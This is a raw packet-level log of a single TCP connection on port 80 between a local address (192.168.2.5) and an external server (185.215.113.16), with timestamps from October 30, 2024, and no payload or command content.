Oct 30, 2024 21:56:13.237919092 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.237920046 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.237931967 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.237943888 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.237953901 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.237955093 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.237965107 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.237977982 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.237979889 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.237991095 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.238001108 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.238002062 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.238015890 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.238034010 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.238059998 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.238059998 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.238063097 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.238075018 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.238087893 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.238111973 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.238141060 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.239048004 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.240566015 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.251230001 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251241922 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251251936 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251293898 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251307011 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251326084 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.251363039 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.251398087 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.251404047 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251415968 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251477003 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.251487017 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251504898 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251516104 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251527071 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251537085 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251552105 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251564026 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251574993 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.251638889 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.251638889 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.251640081 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.251640081 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.251770973 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.252327919 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.252337933 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.252350092 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.252383947 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.252414942 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.252428055 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.252439022 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.252449036 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.252460003 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.252471924 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.252484083 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.252489090 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.252491951 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.252507925 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.252523899 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.253285885 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.253295898 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.253309011 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.253329039 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.253339052 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.253340006 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.253350973 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.253361940 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.253379107 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.253379107 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.253410101 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.253981113 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.253992081 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.254004955 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.254046917 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.254046917 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.254265070 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.254276037 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.254287004 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.254302979 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.254319906 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.254367113 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.254519939 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.254532099 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.254543066 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.254554987 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.254566908 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.254576921 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.254579067 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.254602909 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.254604101 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.254633904 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.255239964 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.255250931 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.255263090 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.255307913 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.255325079 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.255311012 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.255337954 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.255351067 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.255357981 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.255357981 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.255357981 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.255383015 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.255434990 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.255445957 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.255456924 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.255496025 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.256073952 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256127119 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.256140947 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256154060 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256196022 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.256234884 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256246090 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256257057 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256302118 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.256302118 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.256685019 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256741047 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.256777048 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256788969 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256798983 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256815910 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256824017 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.256838083 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256850004 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256861925 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256870985 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256872892 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.256872892 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.256882906 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.256892920 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.256958961 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.257628918 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.257641077 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.257651091 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.257682085 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.257725954 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.257730007 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.257741928 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.257752895 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.257765055 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.257776976 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.257787943 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.257791042 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.257800102 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.257816076 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.257816076 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.257848978 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.258507013 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.258517981 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.258528948 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.258570910 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.258570910 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.258645058 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.258656025 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.258666039 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.258676052 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.258687973 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.258698940 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.258711100 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.258702993 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.258744001 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.258744001 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.258776903 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.259447098 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.259459972 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.259470940 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.259505987 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.259535074 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.259882927 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.259895086 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.259913921 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.259923935 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.259936094 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.259937048 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.259953976 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.259959936 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.259965897 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.259977102 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.259977102 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.259982109 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.259994030 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.260004997 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.260006905 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.260037899 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.260061026 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.260746002 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.260756969 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.260767937 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.260807037 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.260837078 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.260838032 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.260849953 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.260863066 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.260886908 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.260919094 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.284877062 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.284888029 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.284898043 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.284940004 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.284975052 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.285130024 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.285142899 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.285195112 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.285538912 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.285551071 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.285597086 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.322087049 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.322099924 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.322110891 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.322119951 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.322130919 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.322141886 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.322151899 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.322155952 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.322163105 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.322174072 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.322185040 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.322207928 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.322207928 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.322240114 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.365991116 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366013050 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366025925 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366050959 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366064072 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366065979 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.366075993 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366087914 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366106987 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.366125107 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.366141081 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366151094 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.366153002 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366164923 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366179943 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.366199017 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.366245985 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366256952 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366269112 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366278887 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366291046 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366316080 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.366347075 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.366369009 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366379976 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366393089 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366415977 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.366441011 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.366470098 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366481066 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366487026 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366533995 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.366663933 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366674900 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366688013 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.366724014 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.366754055 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.374747992 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.374768972 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.374778032 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.374820948 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.374838114 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.374849081 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.374850035 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.374862909 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.374888897 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.374918938 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.374985933 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.374998093 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375005007 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375036001 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375041962 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375053883 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375070095 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375082016 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375088930 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375114918 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375135899 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375149965 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375174999 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375186920 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375197887 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375221968 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375221968 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375222921 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375258923 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375444889 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375463009 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375474930 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375485897 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375504017 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375503063 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375503063 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375514984 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375523090 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375525951 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375539064 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375552893 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375552893 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375565052 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375570059 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375576973 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375588894 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375598907 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375611067 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375627041 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375633955 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375664949 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375670910 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375674963 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375699043 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375729084 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.375756979 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.375802040 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.404799938 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.404812098 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.404823065 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.404870987 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.404911041 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.404937029 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.404968023 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.404978991 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.404989004 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.404999018 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.405018091 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.405045986 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.441682100 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.441736937 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.441746950 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.441802979 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.441843033 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.441854000 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.441864967 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:13.441896915 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:13.441917896 CET	50196	80	192.168.2.5	185.215.113.16
